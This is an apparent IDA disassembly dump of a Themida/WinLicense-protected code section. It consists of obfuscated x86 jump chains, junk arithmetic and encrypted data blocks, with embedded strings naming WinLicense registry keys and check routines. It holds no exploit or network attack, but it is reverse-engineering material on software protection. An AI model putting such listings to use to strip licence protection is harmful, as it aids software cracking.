; START	OF FUNCTION CHUNK FOR sub_598DC3


loc_5A5866:				; CODE XREF: sub_598DC3+8A14j
		add	ebp, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		xor	ebp, [esp+4+var_4]
		jmp	loc_5966E6
; END OF FUNCTION CHUNK	FOR sub_598DC3
; ---------------------------------------------------------------------------


loc_5A5876:				; CODE XREF: Themida_:00591011j
		mov	esi, 2
		jmp	loc_59E2A0
; ---------------------------------------------------------------------------


loc_5A5880:				; CODE XREF: Themida_:0059D9D9j
		mov	esp, [esp]
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 4
		push	eax
		mov	eax, 0C341C6h
		add	ebx, eax
		pop	eax
		add	ebx, edx
		sub	ebx, 0C341C6h
		jmp	loc_592800
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_5A58A4:				; CODE XREF: sub_5A0060-B5AFj
		mov	ebx, [esp-4+arg_0]
		jmp	loc_595DAE
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_5A58AC:				; CODE XREF: sub_5A3F6E-11D7Fj
		push	[esp-4+arg_0]
		pop	eax
		push	edi
		push	6C99h
		mov	[esp+4+var_4], esp
		jmp	loc_59F6CA
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17BF


loc_5A58BE:				; CODE XREF: sub_5A17BF-4F52j
		mov	ebx, [esp+8+var_8]
		jmp	loc_5953B7
; END OF FUNCTION CHUNK	FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A58C6:				; CODE XREF: sub_59CFD4-89CEj
		sub	edi, 7EA57992h
		push	6BAFh
		mov	[esp+4+var_4], edi
		push	ebx
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 3C384728h
		mov	ebx, eax
		pop	eax
		sub	[esp+8+var_4], ebx
		jmp	loc_5950C8
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_5A58EC:				; CODE XREF: Themida_:0059EF09j
		pop	eax
		inc	esi
		jmp	loc_59C2AC

; =============== S U B	R O U T	I N E =======================================



sub_5A58F3	proc near		; DATA XREF: Themida_:00590A24o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00596C60 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059CC7C SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005A50FE SIZE 0000000B BYTES

		lodsd
		jmp	loc_596C60
sub_5A58F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_5A58F9:				; CODE XREF: sub_592E1C+10147j
		pop	ebp
		push	ebp
		mov	ebp, 45D94B12h
		jmp	loc_597B10
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5905:				; CODE XREF: sub_59390B+150Dj
		inc	edi
		shr	edi, 4
		inc	edi
		sub	edi, 0D3C25524h
		add	edx, 13273F97h
		sub	edx, edi
		sub	edx, 13273F97h
		mov	edi, [esp+8+var_8]
		add	esp, 4
		sub	edx, 1
		not	edx
		not	edx
		sub	edx, 6DC96D53h
		add	ecx, 50991437h
		jmp	loc_596729
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A593C:				; CODE XREF: Themida_:0059A461j
		pop	edi
		push	5BD4h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 74BA7A05h
		mov	ecx, 74BA7A09h
		sub	ecx, ebp
		pop	ebp
		add	eax, ecx
		jmp	loc_596165
; ---------------------------------------------------------------------------


loc_5A595A:				; CODE XREF: Themida_:0059EB51j
		pop	eax
		jmp	loc_59DF68
; ---------------------------------------------------------------------------


loc_5A5960:				; DATA XREF: Themida_:005907E0o
		lodsb
		xor	al, bl
		push	ecx
		mov	ch, 0ABh
		jmp	loc_593D7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_5A596B:				; CODE XREF: sub_594A8D-322Aj
		push	edi
		mov	edi, 0BC379B3h
		neg	edi
		inc	edi
		dec	edi
		shl	edi, 5
		add	edi, 0EC24B282h
		and	ebp, edi
		pop	edi
		sub	ebp, 0AE4A3E19h
		sub	esp, 4
		mov	[esp+8+var_8], esi
		sub	esp, 4
		jmp	loc_592A61
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------


loc_5A5995:				; CODE XREF: Themida_:005A17DEj
		mov	edi, 194B3248h
		jmp	loc_59D961
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_5A599F:				; CODE XREF: sub_5A2FE9-10914j
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_59ACDE
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A59AA:				; CODE XREF: sub_59390B+A8ECj
		xor	ecx, 75C2D38h
		sub	ecx, 3D4A61A8h
		or	ecx, 76FD2769h
		jmp	sub_597C8E
; ---------------------------------------------------------------------------


loc_5A59C1:				; CODE XREF: sub_59390B-2795j
		add	esp, 4
		jmp	loc_591730
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2552


loc_5A59CC:				; CODE XREF: sub_5A2552-AC7Bj
		pop	edi
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		push	eax
		jmp	loc_59F00B
; END OF FUNCTION CHUNK	FOR sub_5A2552
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A59DF:				; CODE XREF: sub_59390B+47j
		push	6915h
		jmp	loc_599C33
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A59E9:				; CODE XREF: Themida_:0059E414j
		sub	ecx, 1005214h
		jmp	loc_59CB7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A59F4:				; CODE XREF: sub_59390B+4BE0j
		add	esp, 4
		pop	[esp-1Ah+arg_10+2]
		pop	esp
		add	eax, 671363C3h
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	sub_59F4D4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A5A0E:				; CODE XREF: Themida_:00596217j
		add	edx, ebx
		sub	edx, 0B101CEEh
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_596D8D
; ---------------------------------------------------------------------------


loc_5A5A20:				; CODE XREF: Themida_:0059B397j
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		pop	edx
		pop	esi
		neg	edx
		shr	edx, 6
		push	ecx
		jmp	loc_5A0BF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5A36:				; CODE XREF: sub_59390B+11A5Cj
		sub	eax, 25551723h
		add	eax, esi
		push	esi
		mov	esi, 25551723h
		jmp	loc_5A1320
; ---------------------------------------------------------------------------


loc_5A5A48:				; CODE XREF: sub_59390B+C0BDj
		mov	eax, [esp+8+var_8]
		push	ebx
		sub	esp, 4
		push	esp
		jmp	loc_59CDB0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A5A58:				; CODE XREF: Themida_:00598FC8j
		xor	ebx, [esp]
		jmp	loc_59EA7C
; ---------------------------------------------------------------------------


loc_5A5A60:				; CODE XREF: Themida_:005A36E6j
		push	eax
		mov	al, bl
		jmp	loc_59E8AB
; ---------------------------------------------------------------------------


loc_5A5A68:				; CODE XREF: Themida_:005964A4j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_595172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5A5A79:				; CODE XREF: sub_59A431-326j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59A116
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------


loc_5A5A8E:				; CODE XREF: Themida_:005989C0j
		push	ecx
		jmp	loc_5964A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_5A5A94:				; CODE XREF: sub_59F8C2-AF98j
		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		push	edx
		mov	edx, esp
		push	ebx
		push	eax
		mov	eax, 2208291Dh
		jmp	loc_59C05B
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A5AA9:				; CODE XREF: sub_59FD45-245j
		or	edx, 773073B9h
		and	edx, 64D83586h
		add	edx, 0D768E717h
		add	ebx, edx
		pop	edx
		mov	edi, [esp+8+var_8]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A4654
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5AD5:				; CODE XREF: sub_59390B+1EDj
		mov	esi, 53230D51h
		sub	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 30086F85h
		inc	eax
		push	0
		sub	[esp+4+var_4], eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_594653
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A5AF7:				; CODE XREF: Themida_:005A498Fj
		push	42C2h
		mov	[esp], ecx
		jmp	loc_59C552
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A5B04:				; CODE XREF: sub_59CAFB+463Aj
		add	esp, 4
		push	ebx
		mov	ebx, 16B6620Dh
		add	eax, ebx
		pop	ebx
		sub	eax, 76795273h
		add	eax, ebp
		add	eax, 76795273h
		push	ebp
		mov	ebp, 16B6620Dh
		jmp	loc_592921
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_5A5B2A:				; CODE XREF: Themida_:00593176j
		add	[esp+4], edx
		jmp	loc_59EC6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599F38


loc_5A5B33:				; CODE XREF: sub_599F38-4B44j
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		and	[esp-4+arg_0], ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_599F38
; ---------------------------------------------------------------------------


loc_5A5B43:				; CODE XREF: Themida_:00594EFCj
		pop	edx
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_59932E
; ---------------------------------------------------------------------------


loc_5A5B4F:				; CODE XREF: Themida_:005A041Fj
		mov	ebx, 0F7D0DE24h
		jmp	loc_591DD0
; ---------------------------------------------------------------------------


loc_5A5B59:				; CODE XREF: Themida_:0059A3C4j
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, ebp
		add	edx, 1FB51763h
		pop	ebp
		or	ecx, ecx
		jz	loc_5A4E02
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		push	edx
		jmp	loc_59F1E1
; ---------------------------------------------------------------------------


loc_5A5B85:				; CODE XREF: Themida_:00599209j
		mov	cl, dh
		mov	bh, cl
		jmp	loc_5A3E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ADCD


loc_5A5B8E:				; CODE XREF: sub_59ADCD+4796j
		mov	ebp, [esp+0]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_59ADCD
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A5B94:				; CODE XREF: sub_59FD45-4896j
					; sub_59FD45+5AE1j
		push	[esp-4+arg_0]
		jmp	loc_59BD1A
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_5A5B9C:				; CODE XREF: Themida_:0059951Fj
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		jmp	loc_594B4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A5BA7:				; CODE XREF: sub_594D13+81E9j
		add	ecx, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A2A91
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_5A5BBD:				; CODE XREF: Themida_:00599045j
		add	esi, ecx
		sub	esi, 5D2F086Dh
		push	eax
		mov	eax, 352C283Ch
		add	eax, 3A5A64FCh
		xor	eax, 6F1AD1DFh
		jmp	loc_5919F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A5BDA:				; CODE XREF: sub_59390B+ACEj
		mov	[esp+0Ch+var_C], esi
		push	65246C5Dh
		jmp	loc_5945AD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A5BE7:				; CODE XREF: sub_59A4D6-4812j
		add	eax, 4A6B3D74h
		jmp	loc_5A2923
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_580566


loc_5A5BF1:				; CODE XREF: sub_580566+3BE1j
		jmp	loc_5A5C3E
; END OF FUNCTION CHUNK	FOR sub_580566
; ---------------------------------------------------------------------------
		dw 6DB2h
		dd 5355310Bh, 32335245h, 6C6C642Eh, 56444100h, 33495041h
		dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 507D8h, 70003h
		dd 290010h, 38B002Ch, 4	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_580566


loc_5A5C3E:				; CODE XREF: sub_580566:loc_5A5BF1j
		jmp	loc_5A6514
; END OF FUNCTION CHUNK	FOR sub_580566
; ---------------------------------------------------------------------------
		push	6159A55h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6159AD5h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6159BFDh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6159DADh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6159E3Eh
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6159F2Ah
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		push	6159F93h
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 7Ch,	0EEh, 68h
		dd 78D6684Ah, 66E4785Ah, 7FD16248h, 68EC795Fh, 0B7D45B4Ah
		dd 0A68C2A2Ah, 0BC9E3C16h, 9F812127h, 0D3A03E0Eh, 4DFD598Ch
		dd 53C616B3h, 0D8D2B9EFh, 22F0EEEFh, 10D862F6h,	0EAC9BDA4h
		dd 0FA56E5CDh, 63A22A6Bh, 168EE3C2h, 0BC51B2D3h, 0C334D545h
		dd 0A4094B6h, 0A612DA3Bh, 79ECCBBBh, 36A1B584h,	0EB49187Dh
		dd 143390F6h, 0A5B49E2Eh, 582D5C64h, 0D1308E8Ch, 1D506F4Ch
		dd 248A77C1h, 94C10B8Ah, 91311BAEh, 3B2E1EAFh, 9A031233h
		dd 4BA8A544h, 12000007h, 0E3492C4h, 0E3492BCh, 103290BAh
		dd 0F3191BFh, 13492C2h,	0E470BD2Eh, 0FE54E4C6h,	0E365FAE0h
		dd 4CDDC3h, 47B699A2h, 16B34ECBh, 0BDE17D94h, 0AB9B1A6Ch
		dd 0AA102469h, 77C6ECCBh, 585413DDh, 2B1DB211h,	654A6D4Ah
		dd 0B82087E8h, 47C60E31h, 16890CF7h, 0A4862568h, 0B799390Fh
		dd 0B8CF6124h, 0F5142523h, 5F44C594h, 89D31641h, 19284938h
		dd 0B5A8A435h, 8001F37Fh, 0CB302DBCh, 92000006h, 8EB41244h
		dd 8EB4123Ch, 90B2103Ah, 8FB1113Fh, 81B41242h, 64F03DAEh
		dd 7ED46446h, 63E57A60h, 80CC5D43h, 0C7361922h,	16B34F4Bh
		dd 0BD61FD14h, 0FE8D1D6Ch, 73C2A3ADh, 97F3AD12h, 2846A219h
		dd 0C0456A49h, 836C580Eh, 51C541B4h, 0F8E109Eh,	0C307666Eh
		dd 0D5FDDA72h, 7ED80D87h, 47109E52h, 0B496A7C6h, 0FA1B2A20h
		dd 0ED92519Bh, 0F0C0EC5Dh, 58A3417Bh, 4Ch, 0E06CBDFEh
		dd 0E0C268C2h, 49B8004Eh, 109DB4C9h, 3A98B405h,	0A6A2351Dh
		dd 0BFC7221Eh, 0CD1B3F20h, 7FCC3B85h, 0EC168EC2h, 93280AA9h
		dd 123815B5h, 5DBC8DBFh, 5AEE4193h, 614CE0Bh, 0C9F10000h
		dd 6FEB1A7Ch, 380A8A40h, 0B22CB4D5h, 51E06CBDh,	5B780E53h
		dd 0D968E877h, 42330B8h, 35BF891Eh, 8EA547D6h, 0B5157816h
		dd 0AC0A4293h, 0FA4E756Ch, 63923150h, 10751E1Ch, 90B71479h
		dd 9EA13A6Fh, 6ADE717Ah, 11DBBADBh, 0FF49DEC4h,	0ACE1FEDFh
		dd 4751B32h, 0A6389AFBh, 707899A8h, 0EE7FC95Eh,	7EF359ECh
		dd 79EDB564h, 0A303DE8Dh, 0BA000005h, 0A68C2A2Ch, 0B69C3A14h
		dd 0A88A2822h, 0B7993917h, 998C2A2Ah, 6CE87596h, 76DC6C4Eh
		dd 6BDD7258h, 78D4654Bh, 1F4E915Ah, 16B34FC3h, 0BD29158Ch
		dd 7251E06Ch, 3520050h,	0C5183A82h, 0F0B520C1h,	0A5C41B0Eh
		dd 0E663EF94h, 17391E41h, 8DDFF5B3h, 0B4108AFBh, 0B4D9109Eh
		dd 0B688DD2Ch, 0D56F109Eh, 0A3411704h, 0FFFEEDACh, 0DDC292FFh
		dd 0FB6A7BBAh, 109E459Fh, 5A7E2568h, 6A6C74FBh,	0C8E475D7h
		dd 97C6E5A1h, 168EC4FEh, 71ED203Fh, 3A0A8ABEh, 1C1CBADBh
		dd 0BDE2C1C5h, 27D4842Ch, 401DA706h, 7BBB88CDh,	0ADBCE110h
		dd 77B4FD5Ch, 41BA5404h, 9BE65D1Bh, 0CB1B3F50h,	948DB283h
		dd 6E577C1Dh, 94C9E687h, 478A83Ah, 0E33A8203h, 1FBh, 0D27CCEF4h
		dd 0E5C2500Ah, 0B53793C2h, 9D00109Dh, 9DB572ECh, 0FF143B10h
		dd 0DC36197Dh, 0DDF3FD9Ch, 348CD5F6h, 1914477h,	17B4D560h
		dd 0A249C538h, 0F312109Eh, 0F879ECE9h, 79168F92h, 8FAB2756h
		dd 4EDF0A8Bh, 0A42C71FEh, 0A825C647h, 0C3358411h, 3F0DA082h
		dd 0B2982C2Eh, 0B90362A3h, 8522647Dh, 2F3E0A9Dh, 0D6F9E6EEh
		dd 5FEE64F4h, 766EE7Bh,	2B3A12A3h, 8EA3E2EAh, 8736A264h
		dd 0F5EF643h, 62419DD0h, 8B0A2A9Eh, 3E98CDEAh, 72A9E62h
		dd 7956E786h, 61AB2756h, 51DF2A9Eh, 82D13001h, 0C5DEB40h
		dd 0D8E4EC8Dh, 875D2F91h, 829848AFh, 0DC91C4E3h, 55308EC7h
		dd 0F6EDA6Dh, 15378AB0h, 1EB298B5h, 0DFFC1D2Ch,	8AB434AEh
		dd 5098FD24h, 0ACA1ABFEh, 9A034E9Ch, 0F3DFFAB1h, 6A000003h
		dd 765C7ADCh, 664C6AE4h, 785A78D2h, 674969E7h, 695C7ADAh
		dd 3C18A5C6h, 262CBC9Eh, 3B0DA288h, 2824B59Bh, 6F9EC18Ah
		dd 16B351F3h, 0A3F965BCh, 0CCEBC8BEh, 9DB53D99h, 8CFD6E10h
		dd 9DCA3D13h, 0D96B4FCEh, 0FB6A6771h, 1688F4E3h, 0C842B394h
		dd 910A88E1h, 0E43EAF0Ch, 0AD0A88E1h, 0C4036068h, 88E23591h
		dd 0A3FF6E0Ah, 6C0A88E1h, 9AFB1A29h, 86C2153Dh,	9BAD0228h
		dd 14A58DCAh, 0B9EB038h, 41202A7Eh, 17BC60Ch, 65600780h
		dd 362h, 0C7E76FFBh, 0DDFD51E1h, 0C1E169FBh, 0A20050DFh
		dd 83233180h, 0DF6E9F90h, 0E5735575h, 0D86B4D6Dh, 0DD705270h
		dd 5D824F6Fh, 0B352AE28h, 40227716h, 51E06CBDh,	4DFB5072h
		dd 1539DFCh, 0C6CD9CB0h, 63B6AF4Ch, 4A109DB7h, 0BE1421F2h
		dd 0FCC4895Ch, 0C2ADFFFFh, 0B51670E5h, 1E4F109Dh, 109DB4C4h
		dd 0DA3B088Dh, 0DF6DC012h, 0C366518Eh, 4D4B4986h, 0F0F9458Fh
		dd 11C43996h, 4A168EF1h, 0E7183105h, 3628E78h, 11A082A3h
		dd 0B9DF7943h, 0DDA9C0D9h, 0C288DCFEh, 8DCA1273h, 8EA5D958h
		dd 48ABEA16h, 77B65FC5h, 0AF144DB2h, 0FD1C2D1Dh, 77C68AD9h
		dd 25587716h, 68642110h, 3B97C609h, 45C601Eh, 0C18D1D81h
		dd 53701170h, 6870E06Fh, 0E0A6BBF9h, 0F7DF92C3h, 35586250h
		dd 2B21B496h, 3814A58Bh, 0C57DF745h, 488524CBh,	276h, 0DBFB5BE7h
		dd 0C9E965F5h, 0D5F555E7h, 0CEEC64F3h, 0D7F75DECh, 93224BE4h
		dd 71BFE1C1h, 4CDFC1E1h, 69FCDEFCh, 0D9F6C3E3h,	0B3542AA4h
		dd 0C49EF316h, 0FE4CE0C2h, 9AA62E6Fh, 0B298374Fh, 368A2C1Eh
		dd 5E8FCC14h, 16882E52h, 9EC11E7Fh, 15242ABCh, 55EAECF4h
		dd 5AEDD3F3h, 0EA7B5FEEh, 0B5BBEF62h, 15D48000h, 20D38h
		dd 54025000h, 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h
		dd 83E84776h, 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h
		dd 53D14DC0h, 879A16B3h, 4EE0C2DBh, 657CB800h, 8D9D8221h
		dd 8DFC73D2h, 94C916DEh, 16886D88h, 4F7350B5h, 56834DFDh
		dd 4B6BE174h, 516E144Bh, 885ACC1Ch, 4D1C810Ah, 0C998BC09h
		dd 0C2921F11h, 727CBAE5h, 5F077788h, 20474795h,	0BE104562h
		dd 770A888Dh, 0B2034716h, 0E1C585D7h, 0D0310054h, 82AA0B1h
		dd 113797B5h, 95BD8CC0h, 4E0653CAh, 0C68EDBFFh,	9A2F6177h
		dd 0E6638DABh, 86CA1941h, 83C91C3Eh, 3674FB24h,	75665DA0h
		dd 0FA4B6D6Bh, 72BF0352h, 1DAB53E2h, 0E963F6ACh, 92C3ECC9h
		dd 8B0776EFh, 540A87E5h, 396B8A31h, 0F643955Fh,	18C70F5Eh
		dd 2EE45587h, 3416B59Fh, 7E9FAEA4h, 0F3426876h,	59EED061h
		dd 88A5EEFh, 1C72BF73h,	44D3B849h, 0C7E7865Eh, 6DFC50E1h
		dd 0D913041Ch, 0BB50C2A2h, 0BC96260Ch, 0BD8F2234h, 0DCAA3B1Dh
		dd 0FD8AD182h, 2D950BC5h, 0C2425E45h, 6A6CFD9Ch, 77E879DBh
		dd 9CF66748h, 65521453h, 0DD6E9820h, 1AB89425h,	0F8E1A538h
		dd 8A1908DDh, 9391A0C1h, 0A3E2754Eh, 0B5A3B13h,	22BDEAC4h
		dd 731201D0h, 0FF4EFE4Fh, 0ADE0FF9Eh, 58058AC0h, 7DA65E69h
		dd 1382BF5Ah, 0D545472h, 0D46623B6h, 0CBAAEB7Ah, 26B71B7Ah
		dd 97F61726h, 0C5381738h, 4C015349h, 9AE9F312h,	51EBCC68h
		dd 0E86CF9E1h, 0BA409ACBh, 840945EBh, 0DF7254E5h, 47704D6Dh
		dd 0DB1B5AF9h, 79C7EB97h, 6CBD0FD9h, 4CDFC3E0h,	8A2C6DFCh
		dd 1AC91335h, 0D2359AEBh, 0EE8B075Ch, 7C5BF144h, 9EB02A5Bh
		dd 74E90ECDh, 0ECD9F1Ah, 7095A2E3h, 0F5486A68h,	3D0C4294h
		dd 0AAACBDDCh, 32263719h, 5FBB2A0Dh, 280ECD9Fh,	0DABB8D22h
		dd 54037812h, 0E071DB6Eh, 0A43517A1h, 95280AA8h, 3ABA6B7h
		dd 7000000h, 71BDE17Bh,	0DF7254E5h, 65FADC6Dh, 0E07052E3h
		dd 52DFE372h, 0C20F3302h, 307FC392h, 9B2D1120h,	2ABC9EAFh
		dd 68221524h, 3E4Fh, 53240C89h,	0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 8953242Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2414895Ch, 9DB6853h,	815B2C09h, 0C8FE4C3h, 8BDD89DAh
		dd 0C481241Ch, 4, 24148B54h, 6804C483h,	76BAh, 8F242C89h
		dd 148B0842h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		dd 977B4A7Fh, 9874E1FDh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_580566


loc_5A6514:				; CODE XREF: sub_580566:loc_5A5C3Ej
		mov	eax, 615A1C5h
		add	eax, ebp
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_580566
; ---------------------------------------------------------------------------
		db 19h,	0FDh, 67h
		dd 0AAAE4A2Ch, 5822F575h, 3A5AA219h, 7A984766h,	0B8B51B0Bh
		dd 7E73D918h, 91B3F44h,	8CEB7D37h, 0ED57C720h, 71C4EA65h
		dd 0FAA21526h, 11E83Eh,	0CBEC0000h, 7DF52700h, 25FBEA75h
		dd 7871A5F9h, 0B7C5078Bh, 0C0805E03h, 0E4C68137h, 0FC00005Dh
		dd 174A68h, 13E900h, 0ECC40000h, 5D13B0F3h, 0DA0D2587h
		dd 0B2EFACF9h, 0A9414662h, 0BF0F5A3Ah, 8136FFCAh, 0F0C16CC1h
		dd 0C78B5F70h, 8814C781h, 0B9662AA5h, 0EF817FD0h, 40F1E712h
		dd 6840Fh, 0C3810000h, 9D9B46Fh, 827EF81h, 0CD801BE0h
		dd 0CB81572Ah, 5D79B60h, 83FC068Fh, 816004EEh, 0B2FE73C8h
		dd 0D2B70F1Eh, 1EA8161h, 0F000000h, 1885h, 0B5BB6600h
		dd 24E913h, 3510000h, 0ECB36F0Ah, 1D293DF0h, 859ED0FCh
		dd 0A6BB6603h, 0FF8BE9C4h, 8183FFFFh, 7AA451E5h, 7808FBAFh
		dd 8DE9B268h, 60000000h, 0EFDBD83h, 0F000613h, 584h, 78E900h
		dd 6A0000h, 0F303E80h, 885h, 46006A00h,	35E9h, 333E8000h
		dd 8850Fh, 106A0000h, 24E946h, 3E800000h, 8850F34h, 6A000000h
		dd 13E94630h, 80000000h, 850F353Eh, 8, 0E946406Ah, 2, 3E80006Ah
		dd 12850F20h, 80000000h, 0F00017Eh, 885h, 8C48300h, 15E9h
		dd 0A5858D00h, 5006132Ah, 96240489h, 6A9650h, 15595FFh
		dd 0C3610613h, 11E185C6h, 684D0613h, 9A00E4D3h,	0D5240481h
		dd 0FF0A3491h, 1310D1B5h, 0AD858D06h, 0FF06133Ah, 558589D0h
		dd 0E9061301h, 0AAh, 74666F53h,	65726177h, 6E69575Ch, 6563694Ch
		dd 65736Eh, 63656843h, 4E496Bh,	6F727058h, 69784574h, 68430074h
		dd 4F6B6365h, 57005455h, 694C6E69h, 736E6563h, 72655665h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4465736Eh, 65766972h
		dd 72655672h, 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh
		dd 6174736Eh, 65636Eh, 74697845h, 50006B4Fh, 49636F72h
		dd 7250004Eh, 554F636Fh, 78450054h, 4E497469h, 69784500h
		dd 54554F74h, 49705400h, 4Eh, 2	dup(0)
		dd 0B9080000h, 0D5BB77DEh, 96E977DFh, 89000005h, 15A4A085h
		dd 9C858D06h, 500615A4h, 0A406858Dh, 68500615h,	80000001h
		dd 0A4AC95FFh, 196A0615h, 0A4A0B5FFh, 16A0615h,	858D006Ah
		dd 615A435h, 9CB5FF50h,	0FF0615A4h, 131D4595h, 9CB5FF06h
		dd 0FF0615A4h, 15A4A895h, 9CB5FF06h, 0FF0615A4h, 1331CD95h
		dd 8589C306h, 615A4A0h,	0A49C858Dh, 8D500615h, 15A40685h
		dd 1685006h, 0FF800000h, 15A4AC95h, 8D046A06h, 15A4A085h
		dd 46A5006h, 858D006Ah,	615A45Fh, 9CB5FF50h, 0FF0615A4h
		dd 131D4595h, 9CB5FF06h, 0FF0615A4h, 15A4A895h,	9CB5FF06h
		dd 0FF0615A4h, 1331CD95h, 8589C306h, 615A4A0h, 0A49C858Dh
		dd 8D500615h, 15A40685h, 1685006h, 0FF800000h, 15A4AC95h
		dd 8D046A06h, 15A4A085h, 46A5006h, 858D006Ah, 615A447h
		dd 9CB5FF50h, 0FF0615A4h, 131D4595h, 9CB5FF06h,	0FF0615A4h
